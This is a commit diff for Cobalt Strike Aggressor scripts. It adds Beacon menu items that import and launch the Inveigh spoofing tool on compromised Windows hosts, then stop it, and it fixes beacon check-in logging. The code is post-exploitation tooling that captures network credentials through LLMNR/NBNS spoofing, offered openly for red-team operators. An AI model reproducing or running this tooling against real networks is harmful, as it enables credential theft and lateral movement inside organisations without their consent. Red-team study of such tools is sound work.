Inveigh working, fixed other scripts

This commit is contained in:
Und3rf10w
2016-04-19 01:17:44 -04:00
parent cb0b89a633
commit f5704c8baa
3 changed files with 28 additions and 8 deletions
+1 -1
View File
@@ -10,7 +10,7 @@ popup beacon_bottom{
binput($bid, "checkin");
bcheckin($bid);
on beacon_checkin{
elog("Beacon: $bid checked in at $3 as requested");
elog("Beacon: " . $1 . " checked in at $3 as requested");
}
}
}
+12 -1
View File
@@ -4,6 +4,17 @@
command !beaconinfo {
foreach $beacon (beacons()) {
println("BeaconID: " . $beacon['id'] . " is " . $beacon['computer']);
println("Beacon ID: " . $beacon['id'] . " is " . $beacon['computer']);
}
}
popup beacon_bottom {
menu "Information" {
item "Beacon ID" {
local('$bid');
foreach $bid ($1) {
blog($bid, "This beacon's ID is: " . binfo($bid, "id"));
}
}
}
}
+15 -6
View File
@@ -2,23 +2,32 @@
# @Und3rf10w
popup beacon_bottom {
Menu "Inveigh"{
menu "Inveigh"{
item "Import Inveigh.ps1"{
local ('$bid');
foreach $bid ($1){
binput($1, "Imported Inveigh");
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1"));
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1"));
}
}
item "Invoke-Inveigh"
item "Invoke-Inveigh" {
local('$bid');
foreach $bid ($1){
# Load and execute specifying a specific local listening/spoofing IP using default settings
# Prompt user to confirm that the IP address for the beacon is correct.
$beacon_ip = binfo($1, "internal");
prompt_text("What is the internal IP address of this beacon?", " $beacon_ip " {
bpowershell($1, 'Invoke-Inveigh -IP $beacon_ip -OutputStreamOnly Y');
$beacon_ip = binfo($bid, 'internal');
prompt_text("What is the internal IP address of this beacon?", "$beacon_ip", {
binput($bid, "powershell Invoke-Inveigh -IP " . $beacon_ip . "-OutputStreamOnly Y");
bpowershell($bid, "Invoke-Inveigh -IP " . $beacon_ip . " -OutputStreamOnly Y");
});
}
}
item "Stop-Inveigh" {
local('bid');
foreach $bid ($1) {
binput($bid, "powershell Stop-Inveigh");
bpowershell($bid, 'Stop-Inveigh');
}
}
}
}